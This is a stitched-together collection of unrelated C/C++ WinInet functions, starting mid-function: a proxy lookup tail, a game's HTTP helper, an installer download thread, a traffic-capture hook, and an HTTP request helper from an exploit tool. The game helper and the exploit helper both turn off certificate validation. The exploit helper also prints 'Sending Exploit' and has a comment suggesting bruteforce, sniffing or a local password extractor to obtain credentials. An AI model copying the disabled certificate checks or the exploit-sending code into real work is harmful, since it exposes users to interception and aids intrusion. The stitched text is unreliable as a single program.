No http proxy in list */ free(pinfo); return(""); } } } else { /* InternetQueryOption returned a proxy type we don't know about*/ getIeHttpProxyError="Unknown Proxy Type"; free(pinfo); return(NULL); } }
//Imago 9/14 ZString UTL::DoHTTP(char * szHdrs, char * szHost, char * szVerb, char * szUri, char * PostData, int PostLength, bool bSecure) { // BT - 7/15 - Fixing handle leaks. ZString Response("Finished\n"); HINTERNET hSession = InternetOpenA( "Allegiance", INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if(hSession) { HINTERNET hConnect = InternetConnectA(hSession,szHost,(bSecure) ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,NULL,NULL); if (!hConnect) debugf( "Failed to connect to %s\n", szHost); else { debugf("%s %s",szVerb,szUri); HINTERNET hRequest = HttpOpenRequestA(hConnect,szVerb,szUri,NULL,NULL,NULL,(bSecure) ? INTERNET_FLAG_SECURE|INTERNET_FLAG_NO_CACHE_WRITE : INTERNET_FLAG_NO_CACHE_WRITE,0); if (!hRequest) debugf( "Failed to open request handle\n" ); else { DWORD dwFlags; DWORD dwBuffLen = sizeof(dwFlags); InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen); dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA; // BT - 7/15 - CSS Service integration dwFlags |= INTERNET_FLAG_IGNORE_CERT_CN_INVALID; // Enables usage of locally generated certs. Not very secure, but works if you are on a shoestring budget! dwFlags |= INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; // Enables usage of locally generated certs. Not very secure, but works if you are on a shoestring budget! InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS,&dwFlags,sizeof(dwFlags)); if (PostLength == 0) PostData = NULL; // BT - 7/15 - Cleaned up handle leaks. if(HttpSendRequestA(hRequest,szHdrs,strlen(szHdrs),PostData,PostLength)) { char pcBuffer[4096]; DWORD dwBytesRead = 0; debugf("\nThe following was returned by the server:\n"); if(InternetReadFile(hRequest, pcBuffer, 4096-1, &dwBytesRead)) { pcBuffer[dwBytesRead]=0x00; // Null-terminate buffer debugf("%s", pcBuffer); Response = ZString(pcBuffer, (int)dwBytesRead); } else { debugf("\nInternetReadFile failed\n"); } debugf("\n"); } if (!InternetCloseHandle(hRequest)) debugf( "Failed to close Request handle\n" ); } if(!InternetCloseHandle(hConnect)) debugf("Failed to close Connect handle\n"); } if( InternetCloseHandle( hSession ) == FALSE ) debugf( "Failed to close Session handle\n" ); DWORD dwError = GetLastError(); debugf( "\nFinished: %d.\n",dwError); return Response; } else { debugf("Failed to open WinInet session\n"); return "Failed to open WinInet session\n"; } }
DWORD CALLBACK TaskThreadProc(LPVOID ThreadParam) { NSIS::stack_t *pURL,*pFile; HINTERNET hInetSes = NULL, hInetCon = NULL; HANDLE hLocalFile; bool completedFile = false; startnexttask: hLocalFile = INVALID_HANDLE_VALUE; pFile = NULL; TaskLock_AcquireExclusive(); // Now that we've acquired the lock, we can set the event to indicate this. // SetEvent will likely never fail, but if it does we should set it to NULL // to avoid anyone waiting on it. if (!SetEvent(g_hGETStartedEvent)) { CloseHandle(g_hGETStartedEvent); g_hGETStartedEvent = NULL; } pURL = g_pLocations; if (pURL) { pFile = pURL->next; g_pLocations = pFile->next; } #ifndef ONELOCKTORULETHEMALL StatsLock_AcquireExclusive(); #endif if (completedFile) { ++g_FilesCompleted; } completedFile = false; g_cbCurrXF = 0; g_cbCurrTot = FILESIZE_UNKNOWN; if (!pURL) { if (g_FilesTotal) { if (g_FilesTotal == g_FilesCompleted) { g_Status = STATUS_COMPLETEDALL; } } g_hThread = NULL; } #ifndef ONELOCKTORULETHEMALL StatsLock_ReleaseExclusive(); #endif TaskLock_ReleaseExclusive(); if (!pURL) { if (0) { diegle: DWORD gle = GetLastError(); //TODO? if (ERROR_INTERNET_EXTENDED_ERROR==gle) InternetGetLastResponseInfo(...) g_Status = STATUS_ERR_GETLASTERROR; } if (hInetSes) { InternetCloseHandle(hInetSes); } if (hInetCon) { InternetCloseHandle(hInetCon); } if (INVALID_HANDLE_VALUE != hLocalFile) { CloseHandle(hLocalFile); } StackFreeItem(pURL); StackFreeItem(pFile); return 0; } if (!hInetSes) { hInetSes = InternetOpen(USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (!hInetSes) { goto diegle; } //msdn.microsoft.com/library/default.asp?url=/workshop/components/offline/offline.asp#Supporting Offline Browsing in Applications and Components ULONG longOpt; DWORD cbio = sizeof(ULONG); if (InternetQueryOption(hInetSes, INTERNET_OPTION_CONNECTED_STATE, &longOpt, &cbio)) { if (INTERNET_STATE_DISCONNECTED_BY_USER&longOpt) { INTERNET_CONNECTED_INFO ci = {INTERNET_STATE_CONNECTED, 0}; InternetSetOption(hInetSes, INTERNET_OPTION_CONNECTED_STATE, &ci, sizeof(ci)); } } if(g_ConnectTimeout > 0) { InternetSetOption(hInetSes, INTERNET_OPTION_CONNECT_TIMEOUT, &g_ConnectTimeout, sizeof(g_ConnectTimeout)); } } DWORD ec = ERROR_SUCCESS; hLocalFile = CreateFile(pFile->text,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_DELETE,NULL,CREATE_ALWAYS,0,NULL); if (INVALID_HANDLE_VALUE == hLocalFile) { goto diegle; } const DWORD IOURedirFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS; const DWORD IOUCacheFlags = INTERNET_FLAG_RESYNCHRONIZE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD; const DWORD IOUCookieFlags = INTERNET_FLAG_NO_COOKIES; DWORD IOUFlags = IOURedirFlags | IOUCacheFlags | IOUCookieFlags | INTERNET_FLAG_NO_UI | INTERNET_FLAG_EXISTING_CONNECT; WCHAR protocol[16]; WCHAR server[128]; WCHAR path[1024]; INTERNET_PORT port; // Good old VC6 cannot deduce the size of these params :'( if (!BasicParseURL<16, 128, 1024>(pURL->text, &protocol, &port, &server, &path)) { // Insufficient buffer or bad URL passed in goto diegle; } DWORD context; hInetCon = InternetConnect(hInetSes, server, port, NULL, NULL, INTERNET_SERVICE_HTTP, IOUFlags, (unsigned long)&context); if (!hInetCon) { goto diegle; } // Setup a buffer of size 256KiB to store the downloaded data. // Get at most 4MiB at a time from the partial HTTP Range requests. // Biffer buffers will be faster. // cbRangeReadBufXF should be a multiple of cbBufXF. const UINT cbBufXF = 262144; const UINT cbRangeReadBufXF = 4194304; BYTE bufXF[cbBufXF]; // Up the default internal buffer size from 4096 to internalReadBufferSize. DWORD internalReadBufferSize = cbRangeReadBufXF; if (!InternetSetOption(hInetCon, INTERNET_OPTION_READ_BUFFER_SIZE, &internalReadBufferSize, sizeof(DWORD))) { // Maybe it's too big, try half of the optimal value. If that fails just // use the default. internalReadBufferSize /= 2; InternetSetOption(hInetCon, INTERNET_OPTION_READ_BUFFER_SIZE, &internalReadBufferSize, sizeof(DWORD)); } // Change the default timeout of 30 seconds to the specified value. // Is case a proxy in between caches the results, it could in theory // take longer to get the first chunk, so it is good to set this high. if (g_ReceiveTimeout) { InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, &g_ReceiveTimeout, sizeof(DWORD)); } HINTERNET hInetFile; DWORD cbio = sizeof(DWORD); // Keep looping until we don't have a redirect anymore int redirectCount = 0; for (;;) { // Make sure we aren't stuck in some kind of infinite redirect loop. if (redirectCount > 15) { goto diegle; } // If a range request was specified, first do a HEAD request hInetFile = HttpOpenRequest(hInetCon, g_WantRangeRequest ? L"HEAD" : L"GET", path, NULL, NULL, NULL, INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0); if (!hInetFile) { goto diegle; } if (!HttpSendRequest(hInetFile, NULL, 0, NULL, 0)) { goto diegle; } WCHAR responseText[256]; cbio = sizeof(responseText); if (!HttpQueryInfo(hInetFile, HTTP_QUERY_STATUS_CODE, responseText, &cbio, NULL)) { goto diegle; } int statusCode = _wtoi(responseText); if (statusCode == HTTP_STATUS_REDIRECT || statusCode == HTTP_STATUS_MOVED) { redirectCount++; WCHAR URLBuffer[2048]; cbio = sizeof(URLBuffer); if (!HttpQueryInfo(hInetFile, HTTP_QUERY_LOCATION, (DWORD*)URLBuffer, &cbio, NULL)) { goto diegle; } WCHAR protocol2[16]; WCHAR server2[128]; WCHAR path2[1024]; INTERNET_PORT port2; BasicParseURL<16, 128, 1024>(URLBuffer, &protocol2, &port2, &server2, &path2); // Check if we need to reconnect to a new server if (wcscmp(protocol, protocol2) || wcscmp(server, server2) || port != port2) { wcscpy(server, server2); port = port2; InternetCloseHandle(hInetCon); hInetCon = InternetConnect(hInetSes, server, port, NULL, NULL, INTERNET_SERVICE_HTTP, IOUFlags, (unsigned long)&context); if (!hInetCon) { goto diegle; } } wcscpy(path, path2); // Close the existing handle because we'll be issuing a new request // with the new request path. InternetCloseHandle(hInetFile); continue; } break; } // Get the file length via the Content-Length header FILESIZE_T cbThisFile; cbio = sizeof(cbThisFile); if (!HttpQueryInfo(hInetFile, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &cbThisFile, &cbio, NULL)) { cbThisFile = FILESIZE_UNKNOWN; } // Determine if we should use byte range requests. We want to use it if: // 1. Server accepts byte range requests // 2. The size of the file is known and more than our Range buffer size. bool shouldUseRangeRequest = true; WCHAR rangeRequestAccepted[64] = { '\0' }; cbio = sizeof(rangeRequestAccepted); if (cbThisFile != FILESIZE_UNKNOWN && cbThisFile <= cbRangeReadBufXF || !HttpQueryInfo(hInetFile, HTTP_QUERY_ACCEPT_RANGES, (LPDWORD)rangeRequestAccepted, &cbio, NULL)) { shouldUseRangeRequest = false; } else { shouldUseRangeRequest = wcsstr(rangeRequestAccepted, L"bytes") != 0 && cbThisFile != FILESIZE_UNKNOWN; } // If the server doesn't have range request support or doesn't have a // Content-Length header, then get everything all at once. // If the user didn't want a range request, then we already issued the GET // request earlier. If the user did want a range request, then we issued only // a HEAD so far. if (g_WantRangeRequest && !shouldUseRangeRequest) { InternetCloseHandle(hInetFile); InternetCloseHandle(hInetCon); hInetFile = InternetOpenUrl(hInetSes, pURL->text, NULL, 0, IOUFlags, NULL); if (!hInetFile) { goto diegle; } // For some reason this also needs to be set on the hInetFile and // not just the connection. if (g_ReceiveTimeout > 0) { InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, &g_ReceiveTimeout, sizeof(DWORD)); } } for(;;) { DWORD cbio = 0,cbXF = 0; // If we know the file size, download it in chunks if (g_WantRangeRequest && shouldUseRangeRequest && cbThisFile != g_cbCurrXF) { // Close the previous request, but not the connection InternetCloseHandle(hInetFile); hInetFile = HttpOpenRequest(hInetCon, L"GET", path, NULL, NULL, NULL, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0); if (!hInetFile) { // TODO: we could add retry here to be more tolerant goto diegle; } // For some reason this also needs to be set on the hInetFile and // not just the connection. if (g_ReceiveTimeout > 0) { InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, &g_ReceiveTimeout, sizeof(DWORD)); } WCHAR range[32]; swprintf(range, L"Range: bytes=%d-%d", g_cbCurrXF, min(g_cbCurrXF + cbRangeReadBufXF, cbThisFile)); if (!HttpSendRequest(hInetFile, range, wcslen(range), NULL, 0)) { // TODO: we could add retry here to be more tolerant goto diegle; } } // Read the chunk (or full file if we don't know the size) we downloaded BOOL retXF; for (;;) { DWORD cbioThisIteration = 0; retXF = InternetReadFile(hInetFile, bufXF, cbBufXF, &cbioThisIteration); if (!retXF) { ec = GetLastError(); TRACE1(_T("InternetReadFile failed, gle=%u\n"), ec); // TODO: we could add retry here to be more tolerant goto diegle; } // Check if we're done reading if (cbioThisIteration == 0) { break; } // Write what we found cbXF = cbioThisIteration; retXF = WriteFile(hLocalFile, bufXF, cbXF, &cbioThisIteration, NULL); if (!retXF || cbXF != cbioThisIteration) { cbio += cbioThisIteration; ec = GetLastError(); break; } cbio += cbioThisIteration; StatsLock_AcquireExclusive(); if (FILESIZE_UNKNOWN != cbThisFile) { g_cbCurrTot = cbThisFile; } g_cbCurrXF += cbXF; StatsLock_ReleaseExclusive(); // Avoid an extra call to InternetReadFile if we already read everything // in the current request if (cbio == cbRangeReadBufXF && shouldUseRangeRequest) { break; } } // Check if we're done transferring the file successfully if (0 == cbio && (cbThisFile == FILESIZE_UNKNOWN || cbThisFile == g_cbCurrXF)) { ASSERT(ERROR_SUCCESS == ec); TRACE2(_T("InternetReadFile true with 0 cbio, cbThisFile=%d gle=%u\n"), cbThisFile, GetLastError()); break; } // Check if we canceled the download if (0 == g_FilesTotal) { TRACEA("0==g_FilesTotal, aborting transfer loop...\n"); ec = ERROR_CANCELLED; break; } } TRACE2(_T("TaskThreadProc completed %s, ec=%u\n"), pURL->text, ec); InternetCloseHandle(hInetFile); if (ERROR_SUCCESS == ec) { if (INVALID_HANDLE_VALUE != hLocalFile) { CloseHandle(hLocalFile); hLocalFile = INVALID_HANDLE_VALUE; } StackFreeItem(pURL); StackFreeItem(pFile); ++completedFile; } else { SetLastError(ec); goto diegle; } goto startnexttask; }
void vmsWinInetHttpTrafficCollector::OnInternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwRead) { EnterCriticalSection (&m_cs_vNonCacheHandles); bool bIgnore = findNonCacheHandleIndex (hFile) != -1; LeaveCriticalSection (&m_cs_vNonCacheHandles); if (bIgnore) return; m_pHttpTraffic->LockDialogsLists (true); vmsHttpTrafficCollector::HttpDialogPtr spDlg; int nIndex = m_pHttpTraffic->FindDialogIndexByWInetFile (hFile); if (nIndex == -1 && m_pHttpTraffic->FindDialogIndexByWInetFile (hFile, true) != -1) { m_pHttpTraffic->LockDialogsLists (false); return; } if (nIndex == -1) { INTERNET_DIAGNOSTIC_SOCKET_INFO sockInfo = {0}; DWORD dw = sizeof (sockInfo); sockInfo.Socket = INVALID_SOCKET; InternetQueryOption (hFile, INTERNET_OPTION_DIAGNOSTIC_SOCKET_INFO, &sockInfo, &dw); if (sockInfo.Socket != INVALID_SOCKET && (m_pHttpTraffic->FindDialogIndexBySocket (sockInfo.Socket, false) != -1 || m_pHttpTraffic->FindDialogIndexBySocket (sockInfo.Socket, true) != -1)) { EnterCriticalSection (&m_cs_vNonCacheHandles); m_vNonCacheHandles.push_back (hFile); LeaveCriticalSection (&m_cs_vNonCacheHandles); m_pHttpTraffic->LockDialogsLists (false); return; } spDlg = m_pHttpTraffic->CreateHttpDialogStore (); #ifdef _DEBUG spDlg->enProvider = vmsHttpTrafficCollector::HttpDialog::Provider::PROV_WININET; #endif spDlg->s = sockInfo.Socket; spDlg->hWInetFile = hFile; spDlg->dwFlags |= vmsHttpTrafficCollector::HttpDialog::BODY_DECOMPRESSED; m_pHttpTraffic->ExtractRequestUrlFromWInetFile (spDlg); if (m_pHttpTraffic->FindDialogByRequestUrl (spDlg->strRequestUrl.c_str (), vmsHttpTrafficCollector::HttpDialog::ALL, false)) { EnterCriticalSection (&m_cs_vNonCacheHandles); m_vNonCacheHandles.push_back (hFile); LeaveCriticalSection (&m_cs_vNonCacheHandles); m_pHttpTraffic->LockDialogsLists (false); return; } m_pHttpTraffic->ExtractHttpHeadersFromWInetFile (spDlg); EnterCriticalSection (&m_cs_vPostData); int nPdIndex = findPostDataIndex (hFile); if (nPdIndex != -1) spDlg->vbRequestBody = m_vPostData [nPdIndex].vbData; LeaveCriticalSection (&m_cs_vPostData); spDlg->enState = vmsHttpTrafficCollector::HttpDialog::RESPONSE_HEADERS_RCVD; m_pHttpTraffic->m_vDialogsInProgress.push_back (spDlg); if (!m_pHttpTraffic->isNeedBody (spDlg)) { m_pHttpTraffic->MoveDialogToCompleted (spDlg); m_pHttpTraffic->LockDialogsLists (false); return; } spDlg->enState = vmsHttpTrafficCollector::HttpDialog::RECEIVING_RESPONSE_BODY; } else { spDlg = m_pHttpTraffic->m_vDialogsInProgress [nIndex]; } m_pHttpTraffic->LockDialogsLists (false); assert (lpBuffer != NULL); if (lpBuffer && dwRead) { assert (m_pHttpTraffic->isNeedBody (spDlg)); int l; l = spDlg->vbResponseBody.size (); spDlg->vbResponseBody.resize (l + dwRead); CopyMemory (&spDlg->vbResponseBody [l], (LPBYTE)lpBuffer, dwRead); m_pHttpTraffic->onDataReceived (spDlg); } if (!dwRead) { CloseDialog (hFile); } }
PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod,char *Url,int ssl, char *buffer) { //better than playing with sockets ^^ HINTERNET hInternetSession,hConnect,hRequest; static TCHAR hdrs[] = "Content-Type: application/x-www-form-urlencoded"; int ret; PHTTPData resultado; char bufQuery[32] ; DWORD dwBuffLen,dwFlags; BOOL bQuery,bRead; DWORD dwHTTPCode,dwIndex,dwFileSize,dwReadedBytes,dwLengthBufQuery = sizeof(bufQuery); //PSTR pszUser ="******"; //PSTR pszPass="******"; resultado=malloc(sizeof(HTTPData)); memset(resultado,0,sizeof(HTTPData)); if ((hInternetSession = InternetOpen ("TigerTeam 514",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) { return (resultado); } hConnect = InternetConnect(hInternetSession,host,port,NULL,NULL,INTERNET_SERVICE_HTTP,0,1); if (!ssl) { hRequest = HttpOpenRequest(hConnect, metod,Url,NULL,NULL,NULL,INTERNET_FLAG_RELOAD,0); } else { hRequest = HttpOpenRequest(hConnect, metod,Url,NULL,NULL,NULL, INTERNET_FLAG_IGNORE_CERT_CN_INVALID |INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ,0); } if (hRequest==NULL) { printf("error chungo en HttpOpenRequest\n"); return(resultado); } if (buffer==NULL) { ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),NULL,0); } else { printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer)); ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer)); if ((!ret) && (ssl) ){ dwBuffLen = sizeof(dwFlags); printf("[+] Ignoring unknown CA...\n"); InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen); dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA; InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); /* //authentication support here. //If you need user & password try //a) bruteforce //b) sniffer //c) local privilege scalation with TibcoPasswordExtractor.c InternetSetOption(hRequest, INTERNET_OPTION_USERNAME, pszUser, _tcslen(pszUser) + 1); InternetSetOption(hRequest, INTERNET_OPTION_PASSWORD, pszPass, _tcslen(pszPass) + 1); */ printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer)); ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer)); } if (!ret) { printf("Se ha enviado mal la peticion HTTP: %i\n",GetLastError()); return(resultado); } } bQuery= HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE,bufQuery,&dwLengthBufQuery,NULL); if (!bQuery) { printf("Control de Errores - bQuery Vale NULL\n"); return(resultado); } resultado->dwReturnCode = (DWORD)atol(bufQuery) ; // printf("HEADER RESPONSE: %i \n",resultado->dwReturnCode); dwLengthBufQuery=sizeof(bufQuery); bQuery= HttpQueryInfo(hRequest, //petición de tamaño de la petición. HTTP_QUERY_CONTENT_LENGTH, bufQuery, &dwLengthBufQuery, NULL); dwFileSize = (DWORD)atol(bufQuery) ; // printf("Vamos a leer %i bytes de datos\n",dwFileSize); resultado->dwBytesRead=dwFileSize; if (dwFileSize==0) { resultado->buffer=NULL; InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hInternetSession); return(resultado); } resultado->buffer= malloc(dwFileSize+1); bRead = InternetReadFile(hRequest, resultado->buffer, dwFileSize, &dwReadedBytes); resultado->buffer[resultado->dwBytesRead] = '\0' ; InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hInternetSession); return(resultado); }